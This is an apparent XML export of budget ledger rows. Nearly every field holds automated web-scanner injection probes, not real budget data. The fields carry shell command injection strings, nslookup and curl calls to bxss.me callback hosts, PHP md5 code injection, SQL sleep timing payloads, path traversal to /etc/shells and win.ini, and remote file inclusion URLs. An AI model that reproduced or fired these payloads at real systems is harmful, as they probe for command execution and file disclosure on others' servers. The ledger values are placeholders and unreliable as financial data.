<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|echo mqqvgs$()\ gdrmvh\nz^xyu||a #' |echo mqqvgs$()\ gdrmvh\nz^xyu||a #|" |echo mqqvgs$()\ gdrmvh\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;echo wqfbyu$()\ lehpjs\nz^xyu||a #' &amp;echo wqfbyu$()\ lehpjs\nz^xyu||a #|" &amp;echo wqfbyu$()\ lehpjs\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'.print(md5(31337)).'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>echo rdqtto$()\ valgmw\nz^xyu||a #' &amp;echo rdqtto$()\ valgmw\nz^xyu||a #|" &amp;echo rdqtto$()\ valgmw\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${@print(md5(31337))}\</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>2ETH7yQG: XF8noxmH</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&lt;!--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>&amp;echo dtsbal$()\ oaznmg\nz^xyu||a #' &amp;echo dtsbal$()\ oaznmg\nz^xyu||a #|" &amp;echo dtsbal$()\ oaznmg\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>echo kfmejn$()\ tvjxnm\nz^xyu||a #' &amp;echo kfmejn$()\ tvjxnm\nz^xyu||a #|" &amp;echo kfmejn$()\ tvjxnm\nz^xyu||a #</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>$(nslookup -q=cname hitciqfxitztxc94c6.bxss.me||curl hitciqfxitztxc94c6.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|echo druszr$()\ ddgvyf\nz^xyu||a #' |echo druszr$()\ ddgvyf\nz^xyu||a #|" |echo druszr$()\ ddgvyf\nz^xyu||a #</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>c:/windows/win.ini</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>expr 9000219538 - 980999</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|echo ddszvw$()\ zhqvgd\nz^xyu||a #' |echo ddszvw$()\ zhqvgd\nz^xyu||a #|" |echo ddszvw$()\ zhqvgd\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>echo deqxxg$()\ yrbwbb\nz^xyu||a #' &amp;echo deqxxg$()\ yrbwbb\nz^xyu||a #|" &amp;echo deqxxg$()\ yrbwbb\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>!(()&amp;&amp;!|*|*|</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>Http://bxss.me/t/fit.txt</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>../../../../../../../../../../../../../../etc/shells</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>/etc/shells</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitaajnxofzhd07668.bxss.me||curl${IFS}hitaajnxofzhd07668.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitaajnxofzhd07668.bxss.me||curl${IFS}hitaajnxofzhd07668.bxss.me)&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1"||sleep(27*1000)*sxajtt||"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>^(#$!@#$)(()))******</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitjopzhdjybt89925.bxss.me||curl${IFS}hitjopzhdjybt89925.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'||sleep(27*1000)*hqawto||'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>!(()&amp;&amp;!|*|*|</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>;(nslookup -q=cname hitejxwtdtykqe5ab3.bxss.me||curl hitejxwtdtykqe5ab3.bxss.me)|(nslookup -q=cname hitejxwtdtykqe5ab3.bxss.me||curl hitejxwtdtykqe5ab3.bxss.me)&amp;(nslookup -q=cname hitejxwtdtykqe5ab3.bxss.me||curl hitejxwtdtykqe5ab3.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>`(nslookup -q=cname hitfnqxivakzdfda0b.bxss.me||curl hitfnqxivakzdfda0b.bxss.me)`</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'&amp;&amp;sleep(27*1000)*njczlt&amp;&amp;'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;(nslookup -q=cname hitpzubtailqia2a46.bxss.me||curl hitpzubtailqia2a46.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitpzubtailqia2a46.bxss.me||curl hitpzubtailqia2a46.bxss.me)&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;nslookup -q=cname hitcrvtobvusi20b45.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitcrvtobvusi20b45.bxss.me&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;echo tbhioy$()\ lwikcv\nz^xyu||a #' &amp;echo tbhioy$()\ lwikcv\nz^xyu||a #|" &amp;echo tbhioy$()\ lwikcv\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>echo enzbjy$()\ qoujlf\nz^xyu||a #' &amp;echo enzbjy$()\ qoujlf\nz^xyu||a #|" &amp;echo enzbjy$()\ qoujlf\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>^(#$!@#$)(()))******</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitpsfugrzivqd07b5.bxss.me||curl${IFS}hitpsfugrzivqd07b5.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitpsfugrzivqd07b5.bxss.me||curl${IFS}hitpsfugrzivqd07b5.bxss.me)&amp;`'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>!(()&amp;&amp;!|*|*|</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup${IFS}-q${IFS}cname${IFS}hitimbiygqtac5ce00.bxss.me||curl${IFS}hitimbiygqtac5ce00.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>;(nslookup -q=cname hitcrdmdgbbio22d3a.bxss.me||curl hitcrdmdgbbio22d3a.bxss.me)|(nslookup -q=cname hitcrdmdgbbio22d3a.bxss.me||curl hitcrdmdgbbio22d3a.bxss.me)&amp;(nslookup -q=cname hitcrdmdgbbio22d3a.bxss.me||curl hitcrdmdgbbio22d3a.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>`(nslookup -q=cname hitnttbuhdcxna5748.bxss.me||curl hitnttbuhdcxna5748.bxss.me)`</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup -q=cname hitggipzryulk02832.bxss.me||curl hitggipzryulk02832.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
